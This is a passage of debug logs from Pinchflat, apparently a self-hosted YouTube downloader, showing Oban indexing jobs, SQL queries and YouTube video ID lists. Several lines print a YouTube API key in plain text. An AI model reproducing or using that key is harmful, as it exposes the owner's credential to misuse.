~U[2026-02-10 23:46:39Z], ~U[2026-02-10 23:46:39Z]] 17:46:39.169 [info] {"args":{"id":28},"id":3800239,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88561,"event":"job:stop","queue_time":292847,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:39.353 [debug] QUERY OK source="media_items" db=0.9ms idle=183.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 17:46:39.355 [debug] QUERY OK source="media_items" db=0.7ms idle=185.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:46:39.355 [debug] QUERY OK source="tasks" db=0.0ms idle=180.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800278, 27, ~U[2026-02-10 23:46:39Z], ~U[2026-02-10 23:46:39Z]] 17:46:39.356 [info] {"args":{"id":27},"id":3800238,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":275159,"event":"job:stop","queue_time":413773,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:41.083 [info] {"args":{"id":16},"id":3800240,"meta":{},"system_time":1770767201083655777,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:41.084 [debug] QUERY OK source="sources" db=0.1ms idle=205.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:46:41.084 [debug] QUERY OK source="settings" db=0.1ms idle=205.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:41.084 [debug] QUERY OK source="media_profiles" db=0.1ms idle=205.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:41.084 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:41.084 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:46:41.084 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:41.084 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:41.333 [debug] QUERY OK source="media_items" db=0.6ms idle=248.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 17:46:41.334 [debug] QUERY OK source="media_items" db=0.8ms idle=249.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:46:41.335 [debug] QUERY OK source="tasks" db=0.1ms idle=250.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800279, 16, ~U[2026-02-10 23:46:41Z], ~U[2026-02-10 23:46:41Z]] 17:46:41.335 [info] {"args":{"id":16},"id":3800240,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":251990,"event":"job:stop","queue_time":486625,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:42.085 [info] {"args":{"id":43},"id":3800241,"meta":{},"system_time":1770767202085746119,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:42.086 [debug] QUERY OK source="sources" db=0.1ms idle=750.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:46:42.086 [debug] QUERY OK source="settings" db=0.1ms idle=750.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:42.086 [debug] QUERY OK source="media_profiles" db=0.1ms idle=744.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:42.086 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:42.086 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:46:42.086 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:42.086 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:42.194 [debug] QUERY OK source="media_items" db=0.7ms idle=107.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 17:46:42.195 [debug] QUERY OK source="media_items" db=0.3ms idle=108.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:46:42.196 [debug] QUERY OK source="tasks" db=0.1ms idle=109.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800280, 43, ~U[2026-02-10 23:46:42Z], ~U[2026-02-10 23:46:42Z]] 17:46:42.196 [info] {"args":{"id":43},"id":3800241,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110529,"event":"job:stop","queue_time":519475,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:44.087 [info] {"args":{"id":25},"id":3800242,"meta":{},"system_time":1770767204087673780,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:44.087 [info] {"args":{"id":7},"id":3800243,"meta":{},"system_time":1770767204087708173,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:44.088 [debug] QUERY OK source="sources" db=0.1ms idle=209.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:46:44.088 [debug] QUERY OK source="sources" db=0.2ms idle=209.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:46:44.088 [debug] QUERY OK source="settings" db=0.0ms idle=209.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:44.088 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:44.088 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:44.088 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:44.088 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:46:44.088 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:44.088 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:44.088 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:44.088 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:46:44.088 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:44.088 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:44.088 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:44.252 [debug] QUERY OK source="media_items" db=0.6ms idle=163.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 17:46:44.253 [debug] QUERY OK source="media_items" db=1.1ms idle=164.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:46:44.254 [debug] QUERY OK source="tasks" db=0.1ms idle=165.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES 